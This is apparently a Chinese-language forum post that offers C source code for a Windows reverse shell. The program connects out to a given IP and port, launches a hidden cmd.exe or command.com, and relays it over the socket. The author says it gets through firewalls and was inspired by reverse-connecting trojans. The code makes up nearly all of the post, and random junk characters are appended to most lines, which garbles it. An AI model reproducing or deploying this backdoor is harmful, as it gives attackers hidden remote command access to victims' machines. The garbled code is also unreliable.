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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =Ewa}$-  
^0t81,`  
/* ============================== E.Hw|y0_(|  
Rebound port in Windows NT Q}!U4!{i|p  
By wind,2006/7 +nKxSjqI  
===============================*/ A{hwT,zV:  
#include Gq5)>'D?  
#include >M7e'}0 ;  
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#pragma comment(lib,"wsock32.lib") 9\W~5J<7  
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void OutputShell(); 5gq3 >qo  
SOCKET sClient; X~RET[L2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tR#uDE\wR  
o{\@7'G  
void main(int argc,char **argv) `nM Huv  
{ [!>2[bbl  
WSADATA stWsaData; Rs;,_  
int nRet; ?Mp)F2'  
SOCKADDR_IN stSaiClient,stSaiServer; Q!>8E4Z  
S<+_yB?  
if(argc != 3) (JC -4X_  
{ dL"$YU9 z  
printf("Useage:\n\rRebound DestIP DestPort\n"); {]-nYHGL  
return; jr" ~  
} {m}B=u  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [_j.pMH/P  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kl[bDb1p  
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stSaiClient.sin_family = AF_INET; Uc e#v)  
stSaiClient.sin_port = htons(0); `xbk)oW#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EAFKf*K=  
w&;\}IS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <R~(6krJwZ  
{ ,<zZKR_  
printf("Bind Socket Failed!\n"); ja2LQe@ Q  
return; GpF,=:  
} >fo &H_a  
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stSaiServer.sin_family = AF_INET; F!{N4X>%T  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *n?6x!A  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;3'}(_n  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #v-)Ie\F?  
{ 0t 7yK  
printf("Connect Error!"); Jg k@ti.}Z  
return; yB}y'5  
} X4i$,$C  
OutputShell(); N|q:wyS|  
} A"eT @  
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void OutputShell() L.!:nu]rV  
{ vE?qF9I{$0  
char szBuff[1024]; ?Z!itB~  
SECURITY_ATTRIBUTES stSecurityAttributes; R|t.wawCo  
OSVERSIONINFO stOsversionInfo; 5n.4>yOY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D]b5*_CT  
STARTUPINFO stStartupInfo; 0*:]eM};P  
char *szShell; 1`_Mc ]  
PROCESS_INFORMATION stProcessInformation; f%*-PW^*  
unsigned long lBytesRead; aI|)m8 >)X  
)." zBc#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ika{>hbH  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4)9X) Qx  
stSecurityAttributes.lpSecurityDescriptor = 0; SVXey?A;CJ  
stSecurityAttributes.bInheritHandle = TRUE; x#dJH9NR[  
@R}L 4  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $yaE!.Kc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @c$mc  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !l6B_[!@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >E"FoZM=  
stStartupInfo.wShowWindow = SW_HIDE; |#5JI #,vX  
stStartupInfo.hStdInput = hReadPipe; ]2zx}D4f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v}[KVwse  
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GetVersionEx(&stOsversionInfo); ~`tc|Zu  
; @Gm@d  
switch(stOsversionInfo.dwPlatformId) B5B'H3@  
{ &;9<a^td  
case 1: /q='~t  
szShell = "command.com"; 6mdJ =b#  
break;  Mw'd<{  
default: :g<dwuVO  
szShell = "cmd.exe"; :Np&G4IM>  
break; Ev0V\tl>0  
} h"%6tpV-  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L/nz95  
; p\rgam  
send(sClient,szMsg,77,0); L1)?5D  
while(1) m}Tu^dy  
{ D>*%zz|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1ygu>sKS&A  
if(lBytesRead) m U7Ad"  
{ ew?UHV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S2jo@bp!  
send(sClient,szBuff,lBytesRead,0); NX)7g}S  
} C UBcU  
else *+p'CfsSka  
{ Iob o5B  
lBytesRead=recv(sClient,szBuff,1024,0); @gX@mT"  
if(lBytesRead<=0) break; wK#UFOp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uc7np]Z  
} 5W<BEcV\  
} zKV {JUpG  
={maCYlE.  
return; =Z-.4\3  
}
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